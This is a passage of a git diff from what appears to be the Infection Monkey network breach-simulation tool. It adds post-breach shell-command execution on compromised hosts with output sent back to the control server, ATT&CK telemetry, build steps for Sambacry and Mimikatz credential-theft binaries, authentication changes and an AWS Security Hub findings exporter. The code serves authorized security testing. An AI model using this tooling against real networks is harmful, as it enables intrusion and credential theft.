return False

View File

@ -0,0 +1,68 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.name = name
def run(self, is_linux):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod
def _execute_default(command):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

@ -0,0 +1,83 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -1,40 +1,34 @@
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to monkey from scratch you may refer to the instructions below.
If you only want to build monkey from scratch you may reference instructions below.
The monkey is composed of three separate parts.
* The Infection Monkey itself - PyInstaller compressed python archives
* Sambacry binaries - Two linux binaries, 32/64 bit.
* Mimikatz binaries - Two windows binaries, 32/64 bit.
* Traceroute binaries - Two linux binaries, 32/64bit.
--- Windows ---
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
You must use an up to date version, at least version 2.7.10
https://www.python.org/download/releases/2.7/
2. Install pywin32 (if you didn't install ActiveState Python)
Install pywin32, minimum build 219
http://sourceforge.net/projects/pywin32/files/pywin32
3. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
1. Install python 2.7.15
Download and install from: https://www.python.org/downloads/release/python-2715/
2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts
b. Close the console, make sure you execute all commands in a new cmd console from now on.
4. Install pip
a. Download and run the pip installer
https://bootstrap.pypa.io/get-pip.py
5. Install further dependencies
3. Install further dependencies
a. install VCForPython27.msi
https://aka.ms/vcpython27
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
6. Download the dependent python packages using
pip install -r requirements.txt
7. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe:
4. Download the dependent python packages using
pip install -r requirements_windows.txt
5. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe:
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
8. Build/Download Sambacry and Mimikatz binaries
6. Build/Download Sambacry and Mimikatz binaries
a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin
9. To build the final exe:
7. To build the final exe:
cd [code location]/infection_monkey
build_windows.bat
output is placed under dist\monkey.exe
@ -48,11 +42,14 @@ Tested on Ubuntu 16.04 and 17.04.
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
Install the python packages listed in requirements.txt using pip
cd [code location]/infection_monkey
pip install -r requirements.txt
pip install -r requirements_linux.txt
2. Build Sambacry binaries
a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin
3. To build, run in terminal:
b. Place the binaries under [code location]\infection_monkey\bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
3. Build Traceroute binaries
a. Build/Download according to sections at the end of this readme.
b. Place the binaries under [code location]\infection_monkey\bin, under the names 'traceroute32', 'traceroute64'
4. To build, run in terminal:
cd [code location]/infection_monkey
chmod +x build_linux.sh
./build_linux.sh
@ -61,19 +58,44 @@ Tested on Ubuntu 16.04 and 17.04.
-- Sambacry --
Sambacry requires two standalone binaries to execute remotely.
1. Install gcc-multilib if it's not installed
sudo apt-get install gcc-multilib
2. Build the binaries
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
./build.sh
a. Build sambacry binaries yourself
a.1. Install gcc-multilib if it's not installed
sudo apt-get install gcc-multilib
a.2. Build the binaries
cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
./build.sh
b. Download our pre-built sambacry binaries
b.1. Available here:
32bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so
64bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so
-- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
Alternatively, if you build Mimikatz, put each version in a zip file.
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
3. The zip file should be named mk32.zip/mk64.zip accordingly.
4. Zipping with 7zip has been tested. Other zipping software may not work.
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
a. Build Mimikatz yourself
a.0. Building mimikatz requires Visual Studio 2013 and up
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
a.2. Build using Visual Studio.
a.3. Put each version in a zip file
a.3.1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
a.3.2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
b. Download our pre-built mimikatz binaries
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
b.2. Place them under [code location]\infection_monkey\bin
-- Traceroute --
Traceroute requires two standalone binaries to execute remotely.
The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions.
You can either build them yourself or download pre-built binaries.
a. Build traceroute yourself
a.1. The sources of traceroute are available here with building instructions: http://traceroute.sourceforge.net
b. Download our pre-built traceroute binaries
b.1. Available here:
32bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute32
64bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute64

View File

@ -1,6 +1,6 @@
enum34
impacket
PyCrypto
pycryptodome
pyasn1
cffi
twisted
@ -14,4 +14,7 @@ six
ecdsa
netifaces
ipaddress
wmi
wmi
pymssql
pyftpdlib
enum34

View File

@ -0,0 +1,21 @@
enum34
impacket
pycryptodome
pyasn1
cffi
twisted
rdpy
requests
odict
paramiko
psutil==3.4.2
PyInstaller
six
ecdsa
netifaces
ipaddress
wmi
pywin32
pymssql
pyftpdlib
enum34

View File

@ -1,6 +1,6 @@
import logging
from common.cloud.aws import AWS
from common.cloud.aws_instance import AwsInstance
__author__ = 'itay.mizeretz'
@ -15,7 +15,7 @@ class AwsCollector(object):
@staticmethod
def get_aws_info():
LOG.info("Collecting AWS info")
aws = AWS()
aws = AwsInstance()
info = {}
if aws.is_aws_instance():
LOG.info("Machine is an AWS instance")

View File

@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector):
"""
LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info()
self.get_wmi_info()
#self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,41 @@
from infection_monkey.config import WormConfiguration, GUID
import requests
import json
from infection_monkey.control import ControlClient
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
class AttackTelem(object):
def __init__(self, technique, status, data=None):
"""
Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique
"""
self.technique = technique
self.result = status
self.data = {'status': status, 'id': GUID}
if data:
self.data.update(data)
def send(self):
"""
Sends telemetry to island
"""
if not WormConfiguration.current_server:
return
try:
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
data=json.dumps(self.data),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -0,0 +1,18 @@
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
__author__ = "VakarisZ"
class VictimHostTelem(AttackTelem):
def __init__(self, technique, status, machine, data=None):
"""
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param machine: VictimHost obj from model/host.py
:param data: Other data relevant to the attack technique
"""
super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
self.data.update({'machine': victim_host})

View File

@ -1,5 +1,6 @@
import os
import sys
import shutil
import struct
from infection_monkey.config import WormConfiguration
@ -35,3 +36,25 @@ def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8")
return udata.encode("ascii", "ignore")
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
"""
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
def get_monkey_dir_path():
if is_windows_os():
return WormConfiguration.monkey_dir_windows
else:
return WormConfiguration.monkey_dir_linux

View File

@ -18,14 +18,19 @@ from cc.resources.log import Log
from cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.island_configuration import IslandConfiguration
from cc.resources.monkey_download import MonkeyDownload
from cc.resources.netmap import NetMap
from cc.resources.node import Node
from cc.resources.remote_run import RemoteRun
from cc.resources.report import Report
from cc.resources.root import Root
from cc.resources.telemetry import Telemetry
from cc.resources.telemetry_feed import TelemetryFeed
from cc.resources.pba_file_download import PBAFileDownload
from cc.services.config import ConfigService
from cc.resources.pba_file_upload import FileUpload
from cc.resources.attack_telem import AttackTelem
__author__ = 'Barak'
@ -104,6 +109,7 @@ def init_app(mongo_url):
api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/')
api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>')
api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/')
api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/')
api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/',
'/api/monkey/download/<string:path>')
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
@ -113,5 +119,11 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
return app

View File

@ -33,20 +33,18 @@ def init_jwt(app):
user_id = payload['identity']
return userid_table.get(user_id, None)
if env.is_auth_enabled():
JWT(app, authenticate, identity)
JWT(app, authenticate, identity)
def jwt_required(realm=None):
def wrapper(fn):
@wraps(fn)
def decorator(*args, **kwargs):
if env.is_auth_enabled():
try:
_jwt_required(realm or current_app.config['JWT_DEFAULT_REALM'])
except JWTError:
abort(401)
return fn(*args, **kwargs)
try:
_jwt_required(realm or current_app.config['JWT_DEFAULT_REALM'])
return fn(*args, **kwargs)
except JWTError:
abort(401)
return decorator

View File

@ -39,7 +39,7 @@ class Encryptor:
def enc(self, message):
cipher_iv = Random.new().read(AES.block_size)
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message)))
return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str
def dec(self, enc_message):
enc_message = base64.b64decode(enc_message)

View File

@ -1,6 +1,7 @@
import abc
from datetime import timedelta
import os
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'
@ -13,6 +14,12 @@ class Environment(object):
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
def __init__(self):
self.config = None
def set_config(self, config):
self.config = config
def get_island_port(self):
return self._ISLAND_PORT
@ -25,9 +32,10 @@ class Environment(object):
def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME
@abc.abstractmethod
def is_auth_enabled(self):
return
def hash_secret(self, secret):
h = SHA3_512.new()
h.update(secret)
return h.hexdigest()
@abc.abstractmethod
def get_auth_users(self):

View File

@ -1,6 +1,7 @@
import cc.auth
from cc.environment import Environment
from common.cloud.aws import AWS
from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'
@ -8,16 +9,17 @@ __author__ = 'itay.mizeretz'
class AwsEnvironment(Environment):
def __init__(self):
super(AwsEnvironment, self).__init__()
self._instance_id = AwsEnvironment._get_instance_id()
self.aws_info = AwsInstance()
self._instance_id = self._get_instance_id()
self.region = self._get_region()
@staticmethod
def _get_instance_id():
return AWS.get_instance_id()
def _get_instance_id(self):
return self.aws_info.get_instance_id()
def is_auth_enabled(self):
return True
def _get_region(self):
return self.aws_info.get_region()
def get_auth_users(self):
return [
cc.auth.User(1, 'monkey', self._instance_id)
cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
]

View File

@ -1,27 +1,40 @@
import json
import logging
import standard
import aws
from cc.environment import standard
from cc.environment import aws
from cc.environment import password
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
AWS = 'aws'
STANDARD = 'standard'
PASSWORD = 'password'
ENV_DICT = {
'standard': standard.StandardEnvironment,
'aws': aws.AwsEnvironment
STANDARD: standard.StandardEnvironment,
AWS: aws.AwsEnvironment,
PASSWORD: password.PasswordEnvironment,
}
def load_env_from_file():
def load_server_configuration_from_file():
with open('monkey_island/cc/server_config.json', 'r') as f:
config_content = f.read()
config_json = json.loads(config_content)
return json.loads(config_content)
def load_env_from_file():
config_json = load_server_configuration_from_file()
return config_json['server_config']
try:
__env_type = load_env_from_file()
config_json = load_server_configuration_from_file()
__env_type = config_json['server_config']
env = ENV_DICT[__env_type]()
env.set_config(config_json)
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception:
logger.error('Failed initializing environment', exc_info=True)

View File

@ -0,0 +1,12 @@
from cc.environment import Environment
import cc.auth
__author__ = 'itay.mizeretz'
class PasswordEnvironment(Environment):
def get_auth_users(self):
return [
cc.auth.User(1, self.config['user'], self.config['hash'])
]

View File

@ -1,12 +1,15 @@
import cc.auth
from cc.environment import Environment
__author__ = 'itay.mizeretz'
class StandardEnvironment(Environment):
def is_auth_enabled(self):
return False
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
def get_auth_users(self):
return []
return [
cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
]

View File

@ -0,0 +1,19 @@
from cc.environment.environment import load_env_from_file, AWS
from cc.report_exporter_manager import ReportExporterManager
from cc.resources.aws_exporter import AWSExporter
__author__ = 'maor.rayzin'
def populate_exporter_list():
manager = ReportExporterManager()
if is_aws_exporter_required():
manager.add_exporter_to_list(AWSExporter)
def is_aws_exporter_required():
if str(load_env_from_file()) == AWS:
return True
else:
return False

View File

@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def
logger = logging.getLogger(__name__)
from cc.app import init_app
from cc.exporter_init import populate_exporter_list
from cc.utils import local_ip_addresses
from cc.environment.environment import env
from cc.database import is_db_server_up
@ -34,6 +35,7 @@ def main():
logger.info('Waiting for MongoDB server')
time.sleep(1)
populate_exporter_list()
app = init_app(mongo_url)
if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
@ -44,6 +46,7 @@ def main():
http_server.listen(env.get_island_port())
logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start()

View File

@ -0,0 +1,34 @@
import logging
__author__ = 'maor.rayzin'
logger = logging.getLogger(__name__)
class Singleton(type):
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
return cls._instances[cls]
class ReportExporterManager(object):
__metaclass__ = Singleton
def __init__(self):
self._exporters_set = set()
def get_exporters_list(self):
return self._exporters_set
def add_exporter_to_list(self, exporter):
self._exporters_set.add(exporter)
def export(self, report):
try:
for exporter in self._exporters_set:
exporter().handle_report(report)
except Exception as e:
logger.exception('Failed to export report')

View File

@ -0,0 +1,24 @@
import flask_restful
from flask import request
import json
from cc.services.attack.attack_telem import set_results
import logging
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class AttackTelem(flask_restful.Resource):
"""
ATT&CK endpoint used to retrieve matrix related info from monkey
"""
def post(self, technique):
"""
Gets ATT&CK telemetry data and stores it in the database
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
return {}

View File

@ -0,0 +1,411 @@
import logging
import uuid
from datetime import datetime
import boto3
from botocore.exceptions import UnknownServiceError
from cc.resources.exporter import Exporter
from cc.services.config import ConfigService
from cc.environment.environment import load_server_configuration_from_file
from common.cloud.aws_instance import AwsInstance
__author__ = 'maor.rayzin'
logger = logging.getLogger(__name__)
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
['cnc', 'aws_config', 'aws_secret_access_key'],
['cnc', 'aws_config', 'aws_account_id']]
class AWSExporter(Exporter):
@staticmethod
def handle_report(report_json):
aws = AwsInstance()
findings_list = []
issues_list = report_json['recommendations']['issues']
if not issues_list:
logger.info('No issues were found by the monkey, no need to send anything')
return True
for machine in issues_list:
for issue in issues_list[machine]:
if issue.get('aws_instance_id', None):
findings_list.append(AWSExporter._prepare_finding(issue, aws.get_region()))
if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys(), aws.get_region()):
logger.error('Exporting findings to aws failed')
return False
return True
@staticmethod
def _get_aws_keys():
creds_dict = {}
for key in AWS_CRED_CONFIG_KEYS:
creds_dict[key[2]] = str(ConfigService.get_config_value(key))
return creds_dict
@staticmethod
def merge_two_dicts(x, y):
z = x.copy() # start with x's keys and values
z.update(y) # modifies z with y's keys and values & returns None
return z
@staticmethod
def _prepare_finding(issue, region):
findings_dict = {
'island_cross_segment': AWSExporter._handle_island_cross_segment_issue,
'ssh': AWSExporter._handle_ssh_issue,
'shellshock': AWSExporter._handle_shellshock_issue,
'tunnel': AWSExporter._handle_tunnel_issue,
'elastic': AWSExporter._handle_elastic_issue,
'smb_password': AWSExporter._handle_smb_password_issue,
'smb_pth': AWSExporter._handle_smb_pth_issue,
'sambacry': AWSExporter._handle_sambacry_issue,
'shared_passwords': AWSExporter._handle_shared_passwords_issue,
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
'struts2': AWSExporter._handle_struts2_issue,
'weblogic': AWSExporter._handle_weblogic_issue,
'hadoop': AWSExporter._handle_hadoop_issue,
# azure and conficker are not relevant issues for an AWS env
}
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
account_id = AWSExporter._get_aws_keys().get('aws_account_id', '')
finding = {
"SchemaVersion": "2018-10-08",
"Id": uuid.uuid4().hex,
"ProductArn": product_arn,
"GeneratorId": issue['type'],
"AwsAccountId": account_id,
"RecordState": "ACTIVE",
"Types": [
"Software and Configuration Checks/Vulnerabilities/CVE"
],
"CreatedAt": datetime.now().isoformat() + 'Z',
"UpdatedAt": datetime.now().isoformat() + 'Z',
}
return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn))
@staticmethod
def _send_findings(findings_list, creds_dict, region):
try:
if not creds_dict:
logger.info('No AWS access credentials received in configuration')
return False
securityhub = boto3.client('securityhub',
aws_access_key_id=creds_dict.get('aws_access_key_id', ''),
aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''),
region_name=region)
import_response = securityhub.batch_import_findings(Findings=findings_list)
if import_response['ResponseMetadata']['HTTPStatusCode'] == 200:
return True
else:
return False
except UnknownServiceError as e:
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed')
return False
except Exception as e:
logger.exception('AWS security hub findings failed to send.')
return False
@staticmethod
def _get_finding_resource(instance_id, instance_arn):
if instance_id:
return [{
"Type": "AwsEc2Instance",
"Id": instance_arn.format(instance_id=instance_id)
}]
else:
return [{'Type': 'Other', 'Id': 'None'}]
@staticmethod
def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None):
finding = {
"Severity": {
"Product": severity,
"Normalized": 100
},
'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn),
"Title": title,
"Description": description,
"Remediation": {
"Recommendation": {
"Text": recommendation
}
}}
return finding
@staticmethod
def _handle_tunnel_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.",
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
.format(issue['machine'], issue['dest']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_sambacry_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Samba servers are vulnerable to 'SambaCry'",
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
.format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_smb_pth_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=5,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_ssh_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_ssh_key_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_elastic_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'], issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_island_cross_segment_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Weak segmentation - Machines from different segments are able to communicate.",
description="Segment your network and make sure there is no communication between machines from different segments.",
recommendation="The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'],
issue['server_networks']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shared_passwords_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Multiple users have the same password",
description="Some users are sharing passwords, this should be fixed by changing passwords.",
recommendation="These users are sharing access password: {0}.".format(issue['shared_with']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_shellshock_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Machines are vulnerable to 'Shellshock'",
description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
def _handle_smb_password_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod
